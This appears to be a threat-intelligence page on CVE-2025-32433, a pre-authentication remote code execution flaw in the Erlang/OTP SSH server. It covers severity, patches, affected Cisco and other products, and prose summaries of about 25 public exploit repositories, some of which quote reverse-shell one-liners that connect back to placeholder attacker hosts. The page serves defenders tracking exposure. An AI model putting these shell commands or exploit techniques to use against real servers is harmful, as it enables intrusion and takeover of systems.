Skip to main content
Mallory
CriticalExploited in the wildCISA KEVPublic exploitVulnerability

CVE-2025-32433: Unauthenticated Remote Code Execution in Erlang/OTP SSH Server

Published Apr 16, 2025 · Updated 1 day ago
Trending this weekNot trendingOutside this week’s top 100
Mention activity · 30 days2 mentions · peak 1 in a dayToday
CVSS10.0Critical · v3.1
EPSS98.9%100th percentile
CISA KEVYesAdded Jun 9, 2025
In the wildActivePer CISA KEV
Vendors
Cisco SystemsDebian ProjectErlang
IdentifiersCVE-2025-32433CWE-306 · Missing Authentication for…

CVE-2025-32433 is a missing-authentication vulnerability in the Erlang/OTP SSH server that permits unauthenticated remote code execution. The server processes SSH connection-protocol messages, including channel-open and execution requests, before verifying that user authentication has completed. An attacker can exploit this protocol-state handling flaw to execute arbitrary Erlang code and operating-system commands. Affected releases include OTP 27.x before 27.3.3, OTP 26.x before 26.2.5.11, and OTP 25.x before 25.3.2.20.

Do you run this?See affected versions in your environment and whether adversaries are exploiting this vulnerability against assets like yours.
Check your exposure
Analyst brief

Impact, mitigation & remediation

What it means and what to do now: patch path, interim mitigations, and the assume-compromise checklist.

Impact

What an attacker gets, and what they’ve been doing with it.

Successful exploitation compromises the affected SSH service with the privileges of the Erlang/OTP SSH daemon. Attackers can execute commands, access or modify data available to that process, and disrupt services. The scope of host compromise depends on the daemon's operating-system privileges and accessible resources. Products embedding the vulnerable component, including industrial and network-management systems, may also be affected.

Mitigation

If you can’t patch tonight, do this now.

Until updates can be applied, disable the affected Erlang/OTP SSH server or block access using firewall rules. Where SSH access is operationally necessary, restrict connectivity to explicitly trusted sources through network access controls.

Remediation

Patch, then assume compromise.

Upgrade Erlang/OTP to OTP 27.3.3, OTP 26.2.5.11, OTP 25.3.2.20, or a later fixed release in the applicable branch. Identify applications and appliances embedding the Erlang/OTP SSH server and apply their vendor-provided updates. Affected Siemens RUGGEDCOM and SCALANCE devices running SINEC OS before V3.3 should be upgraded to V3.3 or later.

Public exploits

Exploits

37 exploits validated by Mallory's analysis. Hidden: 11 rejected by Mallory's analysis as not a working exploit; 3 not yet analyzed, such as Exploit-DB entries. Showing the 25 most capable, earliest first.

View more in app →
ssh_erlangotp_rce.rbThis repository contains a single Metasploit module (modules/exploits/linux/ssh/ssh_erlangotp_rce.rb) that exploits CVE-2025-32433, a pre-authentication remote code execution vulnerability in Erlang-based SSH servers. The exploit works by sending crafted SSH packets that abuse a flaw in the SSH protocol handling, allowing the attacker to execute arbitrary OS commands via the Erlang os:cmd function before authentication. The module supports both Linux and Unix targets and can deliver customizable payloads, such as Meterpreter reverse shells or bash reverse shells, using Metasploit's payload system. The exploit is weaponized, providing both detection (via the check method) and exploitation capabilities. The only network endpoint directly referenced is the SSH service (default port 22), and the module is designed to be used within the Metasploit framework. The code is well-structured, with clear separation of packet construction, detection, and exploitation logic.Disclosed Apr 16, 2025 · Framework: metasploit · ruby · networkWeaponizedssh_erlangotp_rceThis repository contains a Metasploit module (ssh_erlangotp_rce.rb) that exploits CVE-2025-32433, a pre-authentication remote code execution vulnerability in Erlang/OTP SSH servers. The exploit works by sending crafted SSH protocol packets to the target, leveraging a flaw in the SSH message handling to execute arbitrary commands via the Erlang os:cmd function without authentication. The module supports both Linux and Unix targets and can deliver payloads such as Meterpreter reverse shells or command shells. The repository also includes Dockerfiles and Erlang source files to build both a vulnerable and a patched SSH server for testing. The vulnerable server listens on TCP port 2222, while the patched version listens on 2223. The exploit is weaponized and integrated into the Metasploit framework, allowing for automated exploitation and payload delivery. The main exploit file is 'ssh_erlangotp_rce.rb', which contains all logic for detection, exploitation, and payload execution. The repository is well-structured for both demonstration and testing of the vulnerability, providing clear instructions and references for further information.exa-offsec · Disclosed Apr 18, 2025 · Framework: metasploit · ruby · erlang · networkWeaponizedPOC_CVE-2025-32433This repository provides a working exploit and simulation environment for CVE-2025-32433, a pre-authentication remote code execution vulnerability in Erlang/OTP's SSH service. The main exploit script, 'Eerling_cve.py', connects to a target's SSH port (22), sends a crafted SSH version string and a malicious packet, and then attempts to trigger a reverse shell back to the attacker's machine. Post-exploitation is simulated by running system commands and writing fake credentials to '/tmp/exfil.log'. The repository also includes: - 'poc_erlang_test.py': A simulated version of the exploit that can either trigger a real reverse shell (with '--real') or send a callback to a configurable C2 server for safe testing. - 'c2_server.py': A simple Flask-based C2 server that receives POST callbacks from bots or test scripts and logs them to 'log.txt'. - 'test_callback.py': A script to test the callback mechanism to the C2 server. - 'README.md': Detailed setup instructions for both real and simulated testing, including ethical usage warnings and lab environment setup. The exploit is operational and can be used for both real-world exploitation (with caution and authorization) and safe simulation in a controlled lab. The code is written in Python and uses standard libraries, with some scripts requiring the 'requests' and 'flask' modules. The repository contains several fingerprintable endpoints, including hardcoded IP addresses for targets, attackers, and C2 servers, as well as file paths for simulated exfiltration logs.ekomsSavior · Disclosed Apr 18, 2025 · python · networkOperationalCVE-2025-32433This repository contains a single C exploit (CVE-2025-32433.c) and a README. The exploit targets a remote code execution vulnerability in the SSH server component of Erlang/OTP (CVE-2025-32433). The vulnerability allows an attacker to send crafted SSH protocol messages before authentication, exploiting a flaw in message handling. The exploit connects to the target SSH server (default 127.0.0.1:2222), performs a partial SSH handshake, and sends a specially crafted SSH_MSG_CHANNEL_REQUEST message that triggers execution of a bash reverse shell command on the target. The payload opens a reverse shell to 127.0.0.1:443 by default, but this can be modified. The exploit is operational and demonstrates remote code execution, but is not weaponized for mass exploitation. The README provides a brief description and compilation instructions for Linux. No external framework is used; the code is standalone.teamtopkarl · Disclosed Apr 18, 2025 · c · networkOperationalCVE-2025-32433-Erlang-OTP-SSH-RCE-PoCThis repository provides a functional proof-of-concept exploit for CVE-2025-32433, a critical unauthenticated remote code execution vulnerability in the Erlang/OTP SSH server. The main exploit script, 'cve-2025-32433.py', is a Python tool that can: - Check if a target is vulnerable by sending crafted SSH protocol messages and observing the response. - Execute arbitrary commands on a vulnerable target by abusing the SSH protocol flaw. - Launch a bash-based reverse shell from the target to an attacker-controlled host and port. The script supports both single-target and batch scanning (via a file of hosts), and can output results to a file. It interacts directly with the SSH service over TCP (default port 22), requiring only network access to the target. The payload leverages Erlang's os:cmd to execute bash commands, including a reverse shell. The repository is well-structured, with a single exploit script, a README providing usage instructions and vulnerability details, and standard project files (.gitignore, LICENSE).omer-efe-curkus · Disclosed Apr 18, 2025 · python · networkOperationalcve-2025-32433This repository provides a proof-of-concept exploit for CVE-2025-32433, a remote code execution vulnerability in the Erlang/OTP SSH server (version 26.2.5.10). The repository contains four files: a Dockerfile to build a vulnerable environment, a Python exploit script (cve-2025-32433.py), an Erlang SSH server implementation (ssh_server.erl), and a README.md with usage instructions. The Dockerfile sets up a Debian-based container, compiles the vulnerable Erlang/OTP version, and runs the custom SSH server on port 2222 with a generated RSA key. The Erlang server disables authentication and listens for SSH connections. The Python script interacts with the SSH server, performing a minimal SSH handshake and sending a crafted CHANNEL_REQUEST to execute arbitrary shell commands on the server. The default payload opens a reverse shell to the attacker's machine. The exploit demonstrates successful RCE by connecting to the server and obtaining a root shell. The repository is operational and provides all necessary components to reproduce and exploit the vulnerability in a controlled environment.0xPThree · Disclosed Apr 19, 2025 · python · erlang · networkOperationalCVE-2025-32433-Remote-ShellThis repository contains a Go-based exploit for CVE-2025-32433, a critical vulnerability in the Erlang/OTP SSH server implementation. The exploit leverages a flaw in SSH protocol message handling, allowing an attacker to send connection protocol messages (such as SSH_MSG_CHANNEL_OPEN and SSH_MSG_CHANNEL_REQUEST) before authentication, thereby bypassing the authentication step entirely. The main exploit logic is implemented in 'exploit.go'. The exploit connects to the target SSH server over TCP, performs a partial SSH handshake, and then sends a crafted channel request containing a command payload. The payload can be either a direct command (executed via Erlang's os:cmd/1) or a reverse shell command that connects back to the attacker's machine. The exploit supports both Linux and Windows targets via cross-compilation (Makefile provided). The README.md provides detailed usage instructions, including how to run the exploit for both direct command execution and reverse shell scenarios. It also explains the underlying vulnerability and references the relevant SSH RFCs and the upstream fix in Erlang/OTP. No hardcoded IPs or domains are present; all endpoints are supplied at runtime. The exploit is operational and provides real remote code execution on vulnerable targets. The repository is well-structured, with clear separation between code, documentation, and build instructions.meloppeitreet · Disclosed Apr 19, 2025 · go · makefile · networkOperationalCVE-2025-32433This repository contains a working exploit for CVE-2025-32433, a critical unauthenticated remote code execution vulnerability in the Erlang/OTP SSH server. The exploit is implemented in Python (exploit.py) and leverages a flaw in the SSH protocol handling, allowing an attacker to send crafted SSH messages before authentication. The attacker can inject and execute arbitrary Erlang code, which is used here to run a bash reverse shell payload (os:cmd("bash -i >& /dev/tcp/<lhost>/<lport> 0>&1")). The exploit requires only network access to the target's SSH port (default 22) and does not require valid credentials. The README and concept files provide a detailed technical overview and usage instructions. The exploit is operational and provides a reverse shell to the attacker if the target is vulnerable. The main fingerprintable endpoints are the target's SSH port and the reverse shell connection to the attacker's specified host and port.MrDreamReal · Disclosed Apr 27, 2025 · python · networkOperationalCVE-2025-32433_PoCThis repository contains a Python exploit script (erLang.py) targeting a critical pre-authentication remote code execution vulnerability in Erlang-based SSH servers (CVE-2025-32433). The exploit works by emulating an SSH client, initiating a raw TCP connection, and sending crafted SSH handshake and channel packets to trigger the vulnerability before authentication. It supports both single-target and batch modes, reading IPs and ports from ips.txt and ports.txt, and can execute arbitrary commands on the target, such as writing a file (/lab.txt) or launching a reverse shell. The script is multithreaded for efficiency, logs results to results.txt, and provides a progress bar. The repository structure is simple: the main exploit code (erLang.py), a README with usage instructions, and empty template files for batch input. The exploit is operational, providing real remote code execution if the target is vulnerable.ODST-Forge · Disclosed Apr 29, 2025 · python · networkOperationalCVE-2025-32433This repository provides a working exploit for CVE-2025-32433, a critical remote code execution vulnerability in Erlang/OTP's SSH server (versions <=27.3.2, <=26.2.5.10, <=25.3.2.19). The exploit is implemented as a Python script ('exploit') that crafts a malformed SSH handshake to bypass authentication and trigger the vulnerability, resulting in remote code execution. Upon successful exploitation, the script delivers a reverse shell payload ('nc {lhost} {lport} -e /bin/bash'), connecting back to the attacker's specified host and port. The repository includes a Docker setup guide to create a vulnerable lab environment, demonstrating the exploit against a test instance running on port 2222/tcp (example IP: 172.17.0.2). The exploit is operational, requiring the attacker to specify the target's address and port, as well as their own listener details. The main code file is 'exploit', written in Python, and leverages the 'pwntools' library for network interactions. The exploit does not belong to a known framework and is a standalone operational exploit script.vigilante-1337 · Disclosed May 3, 2025 · python · bash · networkOperationalAshwesker-CVE-2025-32433This repository contains a Python exploit for CVE-2025-32433, a critical unauthenticated remote code execution vulnerability in the Erlang/OTP SSH server (prior to OTP-27.3.3, OTP-26.2.5.11, and OTP-25.3.2.20). The exploit works by sending a crafted SSH channel request containing an Erlang payload that triggers the target to execute a reverse shell command using netcat. The attacker must specify their own IP and port (LHOST/LPORT) to receive the shell, and the target's SSH server IP and port (RHOST/RPORT). The exploit script is self-contained, with clear argument parsing and status output. The README provides detailed usage instructions, prerequisites, and background on the vulnerability. The only code file is 'CVE-2025-32433.py', which is the main entry point. The exploit is operational and provides a working reverse shell if the target is vulnerable and accessible.Ashwesker · Disclosed Jun 9, 2025 · python · networkOperationalCVE-2025-32433-Erlang-OTP-SSH-Pre-Auth-RCE-exploitThis repository contains a Python 3 script (elaina_cve2025_32433.py) and a README file. The script is a scanner and exploit tool for CVE-2025-32433, a pre-authentication remote code execution vulnerability in Erlang/OTP SSH services. It can scan single or multiple IP addresses (from a file) to detect vulnerable SSH services by checking for 'Erlang' or 'OTP' in the SSH banner. If a target is found to be vulnerable, the script can attempt exploitation by sending a crafted message via the SSH protocol, resulting in arbitrary command execution (default: creating a file on the target, but customizable via the --payload option). The tool supports outputting results to the console or to a JSON file. The attack vector is network-based, targeting TCP port 22 (SSH). The script is operational and provides a working exploit with customizable payloads, but does not appear to be part of a larger exploitation framework.Yuri08loveElaina · Disclosed Jun 15, 2025 · python · networkOperationalCVE-2025-32433-Erlang-OTP-SSH-Unauthenticated-RCEThis repository contains a proof-of-concept exploit for CVE-2025-32433, a critical unauthenticated remote code execution vulnerability in the Erlang/OTP SSH server. The exploit is implemented in a single Python script (CVE-2025-32433-dbs.py) and is accompanied by a detailed README.md. The exploit works by crafting and sending specific SSH protocol messages to a vulnerable server, ultimately triggering execution of a bash reverse shell payload. The attacker must specify the target's IP and SSH port, as well as their own IP and port to receive the reverse shell. The exploit does not require authentication and targets OTP-27.3.3 and earlier, OTP-26.2.5.11 and earlier, and OTP-25.3.2.20 and earlier. The repository is well-structured, with clear usage instructions and references. No hardcoded IPs or domains are present; all endpoints are user-supplied at runtime.dollarboysushil · Disclosed Sep 7, 2025 · python · networkOperationalCVE-2025-32433This repository provides a comprehensive exploitation and detection toolkit for CVE-2025-32433, a critical unauthenticated remote code execution vulnerability in the SSH server implementation of Erlang/OTP (affecting versions OTP 27 < 27.3.3, OTP 26 < 26.2.5.11, OTP 25 < 25.3.2.20). The structure includes: - POC/CVE-2025-32433.py: A Python proof-of-concept exploit that crafts and sends SSH protocol packets (KEXINIT, CHANNEL_OPEN, CHANNEL_REQUEST) to a target server, triggering arbitrary code execution before authentication. The default payload writes a file ('/lab.txt') to the server, demonstrating RCE. - babyfon/babyfon.py: A multithreaded Python scanner for mass exploitation/detection, which sends a similar exploit but uses a DNS callback (via interactsh) to confirm code execution across multiple targets efficiently. - POC/ssh_server.erl and POC/Dockerfile: Provide a vulnerable Erlang SSH server environment for testing, including setup instructions and a minimal server implementation. - nuclei-template/erlang-active.yaml and nuclei-template/erlang-passive.yaml: Nuclei templates for active and passive detection of the vulnerability. The active template attempts exploitation and confirms via DNS callback, while the passive template checks SSH banners and version numbers for vulnerability. - README.md: Contains detailed technical analysis, affected versions, industry impact, and usage instructions for all tools and templates. The main exploit vector is network-based, targeting exposed SSH services (commonly on port 2222, but also 22, 8022, 2022). The exploit does not require authentication and can be used for both direct exploitation (file write, command execution) and detection (DNS callback). The repository is well-structured for both research and practical exploitation/detection scenarios.iteride · Disclosed Sep 18, 2025 · python · erlang · networkOperationalcve-2025-32433This repository provides a comprehensive exploit and detection toolkit for CVE-2025-32433, a critical pre-authentication remote code execution vulnerability in the Erlang/OTP SSH server. The exploit leverages a flaw in SSH protocol message handling, allowing unauthenticated attackers to send SSH_MSG_CHANNEL_OPEN and SSH_MSG_CHANNEL_REQUEST messages before authentication, resulting in arbitrary command execution on the target system. The repository includes: - Multiple exploit scripts: 'test.py' (main exploit and PoC), 'mass-check/mass_check.py' (Python mass scanner), and 'mass-check/active_go.go' (Go-based mass scanner), all of which implement the exploit logic and can be used to test single or multiple targets. - Detection templates: 'mass-check/active.yaml' (active nuclei-style template) and 'mass-check/passive.yaml' (passive banner-based detection), suitable for integration with automated scanners. - Docker environments for vulnerable and patched versions of Erlang/OTP SSH server, allowing for local testing and validation. - Lists of live targets and CPEs for mass scanning and identification. - A detailed write-up ('write-up.md') explaining the vulnerability, exploitation steps, affected versions, and mitigation. The exploit scripts work by connecting to the target SSH service (typically on ports 22, 2222, 7777, 7778, 2024, 8822, 8989, 5000, 6969), sending crafted SSH protocol messages to bypass authentication, and executing arbitrary Erlang or OS commands. Out-of-band DNS logging (via http://www.dnslog.cn) is used to verify successful exploitation. The repository is operational and provides both exploitation and detection capabilities for this high-impact vulnerability.mirmeweu · Disclosed Sep 24, 2025 · python · go · networkOperationalCVE-2025-32433This repository contains a single Python exploit script (exploit.py) targeting an SSH server, likely OpenSSH 8.9 or similar, running on 127.0.0.1:2222. The script crafts and sends raw SSH protocol packets to the server, including a pre-auth channel request with a malicious command payload. The payload attempts to execute a shell command on the target that creates a reverse shell to the attacker's machine (10.10.16.4:8888) and also connects to 10.10.16.4:6666. The exploit demonstrates a deep understanding of the SSH protocol, manually constructing KEXINIT, CHANNEL_OPEN, and CHANNEL_REQUEST messages. The script is operational and, if the target is vulnerable, would provide the attacker with a shell on the target system. The only file in the repository is exploit.py, written in Python, and it is self-contained with no external dependencies.toshithh · Disclosed Oct 20, 2025 · python · networkOperationalCVE-2025-32433-exploitThis repository contains a Python exploit script (exploit.py) and a brief README for CVE-2025-32433, targeting OpenSSH 8.9. The exploit abuses the SSH protocol by sending crafted packets (SSH_MSG_KEXINIT, SSH_MSG_CHANNEL_OPEN, and SSH_MSG_CHANNEL_REQUEST) in a pre-authentication state to trigger remote code execution. The payload is a bash reverse shell that connects back to the attacker's machine (IP and port configurable in the script). The README provides minimal usage instructions, suggesting the use of netcat to catch the shell. The exploit is operational, requiring the attacker to set up a listener and adjust the target and callback IPs/ports as needed. No detection or fake code is present; the script is a direct exploit for the specified vulnerability.l1nuxkid · Disclosed Nov 8, 2025 · python · networkOperationalCVE-2025-32433-EploitThis repository contains a Python exploit (exploit.py) and a README.md for CVE-2025-32433, a pre-authentication remote code execution vulnerability in Erlang/OTP's SSH server. The exploit script connects to a list of target SSH servers (provided via a file), crafts and sends a series of SSH protocol packets to trigger the vulnerability, and executes an arbitrary Erlang command on the target. By default, the payload writes a file ('/tmp/pwned.txt') to the target system, but the command can be customized via a command-line argument. The exploit is multi-threaded and logs results to a specified output file. The main attack vector is network-based, targeting SSH servers on a configurable port (default 2222). The only fingerprintable endpoint in the code is the file '/tmp/pwned.txt', which is used as a marker for successful exploitation. The repository is structured simply, with the exploit logic contained in a single Python file and usage instructions in the README.soltanali0 · Disclosed Nov 27, 2025 · python · networkOperationalcve-2025-32433_rce_exploitThis repository contains a Python exploit script (exploit.py) targeting the Erlang/OTP SSH vulnerability CVE-2025-32433. The exploit allows for pre-authentication remote code execution by abusing a channel creation flaw in the SSH service. The script is interactive, prompting the user for the target IP, port, and desired action (reverse shell or safe file write). For the reverse shell, the payload uses bash to connect back to the attacker's machine via TCP. For safe testing, the script writes a file to /tmp/erlang_test on the target. The README provides detailed usage instructions and emphasizes ethical use within the TryHackMe lab environment. The repository is structured with a single code file (exploit.py), a README, and a license. No automated scanning or worm-like behavior is present; the exploit is intended for educational and controlled lab use.giriaryan694-a11y · Disclosed Dec 25, 2025 · python · networkOperationalCVE-2025-32433-available-for-windowsRepository contains a single Python proof-of-concept exploit (CVE-2025-32433.py) plus a README. The script performs a minimal SSH handshake sequence over a raw TCP socket: it sends a client banner, transmits a crafted SSH_MSG_KEXINIT, opens a session channel (SSH_MSG_CHANNEL_OPEN), then sends an SSH_MSG_CHANNEL_REQUEST of type "exec". The "command" field of the exec request is not a normal shell command; it is wrapped by escape_shell_command_for_erlang() into an Erlang expression that branches on os:type() and calls os:cmd(...) to execute either a Windows command or a Unix bash command. Operator interaction is via stdin prompt for the command to run. The exploit includes basic SSH packet framing/padding (pad_packet) but does not implement full key exchange or encryption, indicating it targets a server-side parsing/logic flaw reachable pre-auth/early in the SSH protocol flow (as implied by the CVE claim). README provides example post-exploitation steps for Windows: using Erlang inets/httpc to download a PowerShell script from an attacker-controlled HTTP server and writing it to C:/Users/Public/shell.ps1, then executing it with PowerShell bypass flags.blackcat4347 · Disclosed Feb 2, 2026 · python · markdown · networkOperationalCVE-2025-32433Repository contains a single Python exploit script and a short README. - Purpose: Exploit CVE-2025-32433 (improper access control/authentication bypass) in Erlang/OTP’s SSH-related remote command handling to achieve unauthenticated remote code execution. - Core technique: Implements a minimal SSH message flow over raw TCP sockets (sends an SSH identification string, then crafted SSH packets: KEXINIT, CHANNEL_OPEN for a "session" channel, and CHANNEL_REQUEST of type "exec"). The "exec" command is an Erlang expression. - Payload handling: - `-c/--command`: wraps an OS command into Erlang `os:cmd(...)` after base64-encoding the command to reduce quoting issues. - `-e/--erlang`: sends raw Erlang code directly. - `--reverse LHOST LPORT`: generates a reverse shell one-liner chain that tries python3, then python, then bash `/dev/tcp`. - Notable implementation details: - Uses `pad_packet()` to build SSH binary packets with padding. - Hardcodes the client banner to `SSH-2.0-OpenSSH_8.9`. - Does not implement full SSH key exchange/authentication; it relies on the vulnerability allowing command execution without proper authentication. Overall, this is an operational network RCE PoC/exploit with a built-in reverse shell payload generator, intended to be run directly as `python3 Erlang_SSH_RCE.py` against a vulnerable SSH endpoint.carlosalbertotuma · Disclosed Feb 24, 2026 · python · markdown · networkOperationalerlang-ssh-rce-CVE-2025-32433Repository purpose: a Go proof-of-concept exploit for CVE-2025-32433 targeting Erlang/OTP’s SSH daemon, demonstrating pre-auth remote command execution by sending crafted SSH protocol messages. Structure: - main.go: Orchestrates the exploit flow against a hardcoded target (172.17.0.2:2222). It performs: (1) SSH banner exchange, (2) sends SSH_MSG_KEXINIT with selected algorithm lists, (3) opens a "session" channel (SSH_MSG_CHANNEL_OPEN), then (4) sends a pre-auth SSH_MSG_CHANNEL_REQUEST of type "exec" containing an Erlang expression that runs an OS command. Default command is `touch /tmp/pwned`. - ssh_exploit/*: Implements the low-level SSH message crafting: - 01_banner.go: Sends a fixed client banner and reads the server banner. - 02_kexinit.go: Builds SSH_MSG_KEXINIT (type 20) with specific kex/hostkey/cipher/mac/compression lists. - 03_channel_open.go: Builds SSH_MSG_CHANNEL_OPEN (type 90) for a "session" channel. - 04_send_channel_request.go: Builds SSH_MSG_CHANNEL_REQUEST (type 98) with request "exec" and embeds the command string. - utils/*: Helpers for SSH binary encoding and transport: - send_ssh_packet.go: Wraps payloads into padded SSH packets (packet_length, padding_length, payload, zero padding). - write.go: SSH string and name-list encoders. - format_erlang_cmd.go: Encodes an OS command as base64 and wraps it in Erlang `os:cmd(binary_to_list(base64:decode("..."))).` to reduce escaping issues. - read_response.go: Attempts to read a server response with a short timeout; lack of response is treated as expected. - docker_config/*: A lab environment to run an Erlang OTP SSH daemon in a container: - Dockerfile: Builds an Erlang 27.3.2-slim image, generates host keys, exposes 2222. - start_ssh.escript: Starts ssh:daemon(2222, ...) with password/publickey auth enabled and a configured root:password credential. - readme.md: Instructions to build/run the container and run the Go exploit; also shows how to SSH in and verify /tmp/pwned. Exploit capabilities: - Network-based, unauthenticated (pre-auth) command execution attempt by sending an "exec" channel request before authentication completes. - Payload is currently a simple marker-file creation, but the code supports arbitrary command strings (wrapped as Erlang code) by changing the input to FormatErlangCommand. Notable targeting/assumptions: - The exploit is hardcoded to a Docker bridge IP and port; it is not parameterized. - It does not implement full SSH key exchange/encryption; it relies on the vulnerability being reachable with these minimal message sequences and the server accepting/processing the pre-auth channel request.agustfricke · Disclosed Mar 3, 2026 · go · erlang · networkOperationalCVE-2025-32433-Exploit-editedThis repository is a small standalone exploit PoC for CVE-2025-32433 targeting the Erlang/OTP SSH server. It contains only two files: a README describing the vulnerability, affected versions, usage examples, and patch levels; and a single Python exploit script at 渗透/erlang/CVE-2025-32433/exploit.py. The Python script manually crafts SSH protocol packets rather than using an SSH library. Its structure is straightforward: helper routines encode SSH strings, build SSH_MSG_CHANNEL_OPEN, build SSH_MSG_CHANNEL_REQUEST with request type "exec", construct a minimal SSH_MSG_KEXINIT packet, pad packets to SSH framing requirements, and convert a user-supplied system command into Erlang code using base64 wrapping around os:cmd(). In main(), it parses CLI arguments, connects to the target over TCP, performs a banner exchange, sends KEXINIT, opens a session channel, and then sends a malicious pre-auth SSH_MSG_CHANNEL_REQUEST carrying attacker-controlled Erlang code. Primary capability: unauthenticated remote code execution over the network against a vulnerable Erlang/OTP SSH service. The operator can either provide a raw Erlang expression with --erlang or a system command with --command, which the script transforms into Erlang code for execution. The exploit does not include post-exploitation automation, persistence, or target discovery; it is a direct single-shot RCE PoC. Notable fingerprintable behavior includes connecting to a user-specified host and port (default 127.0.0.1:2222), sending the SSH client banner "SSH-2.0-OpenSSH_8.9", and issuing pre-auth SSH channel open/request messages. The README also documents example payloads including file creation under /tmp and a reverse shell callback to YOUR_IP:4444. Overall, this is a real exploit, not a detector, and its maturity is best classified as OPERATIONAL because it provides working payload delivery but remains a simple standalone PoC rather than a framework-integrated or highly customizable weaponized tool.chuzouX · Disclosed Jun 8, 2026 · python · markdown · networkOperationalcve-2025-32433-erlang_ssh_rce_reproductionSmall repository containing a README and a single Python exploit script. The code is a standalone network-based PoC for CVE-2025-32433, targeting Erlang/OTP SSH daemon pre-auth remote code execution. The exploit workflow is: connect to a target TCP SSH port, read the server banner, check whether it begins with the Erlang/OTP SSH fingerprint, construct a malicious SSH packet sequence, and deliver an Erlang external term that encodes an attacker command. The script includes helper routines for serializing Erlang external term types (atoms, strings, tuples, lists, integers, binaries), then uses those primitives to build a payload like {run, <<command>>}. According to the code comments and README, the SSH-side trigger is a malformed SSH_MSG_KEXINIT combined with an out-of-order SSH_MSG_SERVICE_REQUEST and a debug/message wrapper carrying the term payload, intended to confuse the pre-auth state machine and reach unsafe binary_to_term processing. The exploit then attempts to read command output back from the socket and prints success/failure status. Repository purpose is clearly offensive PoC/reproduction for unauthenticated RCE, not merely detection. No framework is used; exploit.py is the main entry point and the only code file.razureink · Disclosed Jul 24, 2026 · python · markdown · networkOperationalCVE-2025-32433-LABThis 25-file repository is a containerized CVE-2025-32433 research lab rather than a framework module. Its primary exploit artifact, attacker_work/exploit/payload.py, is a Python raw-socket PoC that connects to a hardcoded SSH target, sends an OpenSSH banner and handcrafted SSH framing, then transmits SSH_MSG_CHANNEL_OPEN and SSH_MSG_CHANNEL_REQUEST/exec before authentication. The embedded proof payload attempts to write /lab.txt with the contents "pwned", demonstrating intended unauthenticated execution/file-write impact against the vulnerable Erlang/OTP SSH daemon. The PoC is narrowly hardcoded for the lab and includes no payload selection, session management, or post-exploitation capability; its manually constructed, minimal SSH exchange should be treated as a basic proof-of-concept implementation requiring validation against a real affected target. The Docker lab deploys a vulnerable Erlang/OTP 26.2.5 target (lab/) and a patched Erlang/OTP 26.2.5.11 comparison target (lab_patched/). Both run an Erlang ssh:daemon/2 listener on container TCP/2222; Docker publishes the vulnerable service only at 127.0.0.1:2222 and the patched service only at 127.0.0.1:2223. An attacker container has Python, Paramiko, AsyncSSH, Scapy, Nmap, OpenSSH, and network utilities, mounting attacker_work/ at /work. Detection tooling performs SSH-banner classification, ordinary authenticated connection tests, Scapy monitoring for channel-open traffic before SSH_MSG_USERAUTH_REQUEST, and Docker-based process/tmp-file integrity monitoring. The repository also includes explanatory documentation and file-backed SSH logs. It contains no external C2, public HTTP endpoint, persistence mechanism, credential theft, or destructive payload.damnkrishna · Disclosed Sep 18, 2026 · python · erlang · network · containerOperational
Exposure surface

Affected products & vendors

Products and vendors Mallory has correlated with this vulnerability. Open in Mallory to drill down to specific CPE configurations and version ranges.

VendorProductType
Cisco SystemsCloud Native Broadband Network Gatewayapplication
Cisco SystemsConfd Basicapplication
Cisco SystemsEnterprise Nfv Infrastructure Softwareapplication
Cisco SystemsInode Managerapplication
Cisco SystemsNcs 2000 Shelf Virtualization Orchestrator Firmwareoperating_system
Cisco SystemsNetwork Services Orchestratorapplication
Cisco SystemsOptical Site Managerapplication
Cisco SystemsRv160 Firmwareoperating_system
Cisco SystemsRv160w Firmwareoperating_system
Cisco SystemsRv260 Firmwareoperating_system
Cisco SystemsRv260p Firmwareoperating_system
Cisco SystemsRv260w Firmwareoperating_system
Cisco SystemsRv340 Firmwareoperating_system
Cisco SystemsRv340w Firmwareoperating_system
Cisco SystemsRv345 Firmwareoperating_system
Cisco SystemsRv345p Firmwareoperating_system
Cisco SystemsSmart Phyapplication
Cisco SystemsStarosoperating_system
Cisco SystemsUltra Cloud Coreapplication
Cisco SystemsUltra Packet Coreapplication
Cisco SystemsUltra Services Platformapplication
Debian ProjectDebian Linuxoperating_system
ErlangErlang/OTPapplication
FAQ

Frequently asked questions

Is CVE-2025-32433 exploited in the wild?
Yes. As of Nov 16, 2026, Mallory has reports of exploitation in the wild, and CISA added it to KEV on Jun 9, 2025.
Is there a public exploit for CVE-2025-32433?
Yes. Mallory tracks 37 public exploits or proofs of concept for CVE-2025-32433, the earliest disclosed Apr 16, 2025.
Is there a patch for CVE-2025-32433?
Upgrade Erlang/OTP to OTP 27.3.3, OTP 26.2.5.11, OTP 25.3.2.20, or a later fixed release in the applicable branch. Identify applications and appliances embedding the Erlang/OTP SSH server and apply their vendor-provided updates.
What products are affected by CVE-2025-32433?
Erlang/OTP, Cisco Systems Cloud Native Broadband Network Gateway, Cisco Systems Confd Basic, Debian Project Debian Linux, Cisco Systems Enterprise Nfv Infrastructure Software, and at least 18 more.
How severe is CVE-2025-32433?
CVE-2025-32433 has a CVSS v3.1 score of 10.0 (Critical) and an EPSS score of 98.9% (100th percentile) as of Nov 16, 2026.
Activity feed

Recent activity

156 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

View more in app →
+30 more in the timeline. Sign up to see them
Do you run this?See affected versions in your environment and whether adversaries are exploiting this vulnerability against assets like yours.
Check your exposure
Mallory platform

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets are affected, which adversaries are exploiting it right now, and which detections to deploy tonight.
Exposure mappingQuery your assets running an affected version, and investigate the blast radius.
Threat actor evidence9Every report linking this CVE to a named adversary.
Associated malware9Malware families linked to this CVE, with evidence and IOCs.
Detection signatures6YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Vendor-by-vendor mappingCross-references every affected SKU, including bundled OEM variants.
Social activity116Community discussion across Reddit, Mastodon, and other social sources.